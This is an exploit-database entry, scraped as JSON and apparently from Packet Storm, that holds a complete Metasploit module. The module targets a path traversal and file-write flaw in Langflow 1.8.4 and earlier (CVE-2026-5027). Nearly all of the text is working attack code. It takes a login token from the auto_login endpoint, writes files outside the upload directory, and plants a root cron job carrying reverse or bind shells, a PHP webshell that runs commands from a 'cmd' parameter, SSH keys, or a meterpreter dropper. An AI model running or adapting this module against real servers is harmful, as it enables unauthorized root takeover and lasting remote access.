{“lastseen”:”2026-04-23T17:41:43″,”description”:”This Metasploit module targets a path traversal vulnerability in Langflow versions 1.8.4 and below that allows attackers to write arbitrary files on the system through the \/api\/v2\/files endpoint…”,”published”:”2026-04-23T00:00:00″,”modified”:”2026-04-23T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Langflow 1.8.4 Traversal \/ Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:219697″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-5027″],”sourceData”:”==================================================================================================================================\\n | # Title : Langflow \u2264 1.8.4 Path Traversal Leading to Unauthenticated Remote Code Execution Metasploit Module |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/www.langflow.org\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit module targets a path traversal vulnerability in Langflow (\u2264 1.8.4) that allows attackers to write arbitrary files on the system through the \/api\/v2\/files endpoint.\\n \\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::FileDropper\\n include Msf::Exploit::CmdStager\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Langflow Path Traversal to Unauthenticated RCE’,\\n ‘Description’ =\\u003e %q{\\n Langflow \\u003c= 1.8.4 contains an arbitrary file write vulnerability via path traversal\\n in the POST \/api\/v2\/files endpoint.\\n },\\n ‘Author’ =\\u003e [\\n ‘indoushka’\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-5027’],\\n [‘CWE’, ’22’]\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Platform’ =\\u003e [‘unix’, ‘linux’],\\n ‘Arch’ =\\u003e [ARCH_CMD, ARCH_X86, ARCH_X64],\\n ‘Targets’ =\\u003e [\\n [\\n ‘Cron Job (Reverse Shell)’,\\n {\\n ‘Platform’ =\\u003e ‘unix’,\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Type’ =\\u003e :cron_reverse,\\n ‘DefaultOptions’ =\\u003e {\\n ‘PAYLOAD’ =\\u003e ‘cmd\/unix\/reverse_bash’\\n }\\n }\\n ],\\n [\\n ‘Cron Job (Bind Shell)’,\\n {\\n ‘Platform’ =\\u003e ‘unix’,\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Type’ =\\u003e :cron_bind,\\n ‘DefaultOptions’ =\\u003e {\\n ‘PAYLOAD’ =\\u003e ‘cmd\/unix\/bind_bash’\\n }\\n }\\n ],\\n [\\n ‘Webshell (PHP)’,\\n {\\n ‘Platform’ =\\u003e ‘php’,\\n ‘Arch’ =\\u003e ARCH_PHP,\\n ‘Type’ =\\u003e :webshell_php,\\n ‘DefaultOptions’ =\\u003e {\\n ‘PAYLOAD’ =\\u003e ‘php\/meterpreter\/reverse_tcp’\\n }\\n }\\n ],\\n [\\n ‘Linux Dropper (Meterpreter)’,\\n {\\n ‘Platform’ =\\u003e ‘linux’,\\n ‘Arch’ =\\u003e [ARCH_X86, ARCH_X64],\\n ‘Type’ =\\u003e :linux_dropper,\\n ‘DefaultOptions’ =\\u003e {\\n ‘PAYLOAD’ =\\u003e ‘linux\/x64\/meterpreter\/reverse_tcp’\\n }\\n }\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2026-04-19’\\n )\\n )\\n \\n register_options([\\n OptString.new(‘TARGETURI’, [true, ‘Base path for Langflow installation’, ‘\/’]),\\n OptString.new(‘USERNAME’, [false, ‘Username’, ”]),\\n OptString.new(‘PASSWORD’, [false, ‘Password’, ”]),\\n OptEnum.new(‘WRITE_METHOD’, [\\n true,\\n ‘Method’,\\n ‘cron’,\\n [‘cron’, ‘ssh_keys’, ‘webshell’, ‘systemd’]\\n ]),\\n OptString.new(‘SSH_PATH’, [false, ‘SSH path’, ‘\/root\/.ssh\/authorized_keys’]),\\n OptString.new(‘WEBSHELL_PATH’, [false, ‘Web path’, ‘\/app\/static\/shell.php’]),\\n OptString.new(‘PUBLIC_KEY’, [false, ‘SSH key’, ”])\\n ])\\n \\n register_advanced_options([\\n OptInt.new(‘TRAVERSAL_DEPTH’, [true, ‘Traversal depth’, 9]),\\n OptInt.new(‘CRON_WAIT’, [true, ‘Wait time’, 60])\\n ])\\n end\\n \\n def setup\\n @base_uri = normalize_uri(target_uri.path)\\n @traversal = ‘..\/’ * datastore[‘TRAVERSAL_DEPTH’]\\n @token = nil\\n end\\n \\n def check\\n print_status(\\”Checking Langflow…\\”)\\n \\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(@base_uri, ‘api’, ‘v1’, ‘auto_login’),\\n ‘method’ =\\u003e ‘GET’\\n })\\n \\n if res \\u0026\\u0026 res.code == 200\\n begin\\n json = JSON.parse(res.body)\\n if json[‘access_token’]\\n print_good(\\”Auto-login enabled\\”)\\n return Exploit::CheckCode::Vulnerable\\n end\\n rescue\\n end\\n end\\n \\n Exploit::CheckCode::Unknown\\n end\\n \\n def authenticate\\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(@base_uri, ‘api’, ‘v1’, ‘auto_login’),\\n ‘method’ =\\u003e ‘GET’\\n })\\n \\n if res \\u0026\\u0026 res.code == 200\\n begin\\n json = JSON.parse(res.body)\\n @token = json[‘access_token’] if json[‘access_token’]\\n return true if @token\\n rescue\\n end\\n end\\n \\n fail_with(Failure::NoAccess, ‘No token’)\\n end\\n \\n def write_file(remote_path, content)\\n filename = @traversal + remote_path.sub(\/^\\\\\/\/, ”)\\n \\n data = Rex::MIME::Message.new\\n data.add_part(content, ‘application\/octet-stream’, nil,\\n \\”form-data; name=\\\\\\”file\\\\\\”; filename=\\\\\\”#{filename}\\\\\\”\\”)\\n \\n res = send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(@base_uri, ‘api’, ‘v2’, ‘files’),\\n ‘method’ =\\u003e ‘POST’,\\n ‘ctype’ =\\u003e \\”multipart\/form-data; boundary=#{data.bound}\\”,\\n ‘data’ =\\u003e data.to_s,\\n ‘headers’ =\\u003e { ‘Authorization’ =\\u003e \\”Bearer #{@token}\\” }\\n })\\n \\n return (res \\u0026\\u0026 (res.code == 200 || res.code == 201))\\n end\\n \\n def exploit_cron_reverse(payload_content)\\n cron_content = \\u003c\\u003c~CRON\\n SHELL=\/bin\/bash\\n PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\\n * * * * * root #{payload_content}\\n CRON\\n \\n write_file(‘\/etc\/crontab’, cron_content)\\n end\\n \\n def exploit_webshell_php(payload_content)\\n webshell_path = datastore[‘WEBSHELL_PATH’]\\n php = \\”\\u003c?php #{payload_content} ?\\u003e\\”\\n \\n if write_file(webshell_path, php)\\n register_file_for_cleanup(webshell_path)\\n print_good(\\”Webshell written\\”)\\n end\\n end\\n \\n def exploit_linux_dropper\\n webshell = ‘\/tmp\/langflow.php’\\n content = ‘\\u003c?php if(isset($_GET[\\”cmd\\”])){system($_GET[\\”cmd\\”]);} ?\\u003e’\\n \\n if write_file(webshell, content)\\n @stager = normalize_uri(@base_uri, webshell)\\n execute_cmdstager({ ‘background’ =\\u003e true })\\n end\\n end\\n \\n def exploit\\n print_status(\\”Exploiting Langflow\\”)\\n \\n authenticate\\n \\n case target[‘Type’]\\n when :cron_reverse\\n exploit_cron_reverse(payload.encoded)\\n when :webshell_php\\n exploit_webshell_php(payload.encoded)\\n when :linux_dropper\\n exploit_linux_dropper\\n end\\n \\n print_status(\\”Done\\”)\\n handler if target[‘Type’] != :webshell_php\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219697″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219697\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-23T17:41:43″,”description”:”This Metasploit module targets a path traversal vulnerability in Langflow versions 1.8.4 and below that allows attackers to write arbitrary files on the system through…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-48983","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n